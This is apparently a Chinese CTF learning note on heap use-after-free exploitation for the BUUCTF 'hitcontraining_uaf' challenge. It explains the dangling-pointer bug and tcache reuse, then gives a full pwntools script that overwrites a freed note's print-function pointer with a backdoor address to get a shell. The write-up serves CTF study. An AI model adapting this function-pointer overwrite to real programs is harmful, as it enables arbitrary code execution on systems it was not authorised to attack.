这周进行的学习主要还是对堆的一些学习吧,稍稍研究了一下uaf的机制,uaf找的题目是buuctf上的
hitcontraining_uaf
一道比较入门的堆的题目
Ida编译完后
按照这个大概是生成一个大小为8的内存,前面的位置放print的函数,后面的放存入的内容
然后在输出是自动输出print函数后四位的内容,也就是存放的内容
然后这个地方的free函数没有置零,也就是释放之后,放在tcathe再次被申请调用时就可以被修改
首先申请两个大小为48的大小的空间,分别放置内容aaaa和bbbb
然后内存里就变成了这样
其中0x804b198和0x804b1e8是print函数的位置,然后别的几个地方是存放的内容
然后进行free
然后用bins进行查询
被释放的部分按不同的大小放在tcache中
然后堆里面的内容变成了这样
然后再申请一个大小为8的内存,此时会将bin中的内存取出来,然后填入magic(后门函数的地址),为了便于演示这里填入的是dddd
可以看到bins红大小为0x10的内存被调用,而我们输入的dddd会占据其中给我们存储内容的内存位置,然后还是前半部分是print函数的位置,后半部分仍是dddd,但是释放之前的内存位置都应该是print函数的位置,也就是其中调用print函数时会调用我们准备好的后门函数
可以看到其中的一部分原本的print函数被改成了64646464的ascall码,在后续的调用中执行print函数式就会执行后门函数
Wp
from pwn import*
r=remote('node4.buuoj.cn',26320)
#r=process('./hacknote')
def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.sendlineafter('Content :',content)
def delete(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))
def printf(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))
shell_addr=0x8048945
add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)
add(8,p32(shell_addr))
printf(0)
r.interactive()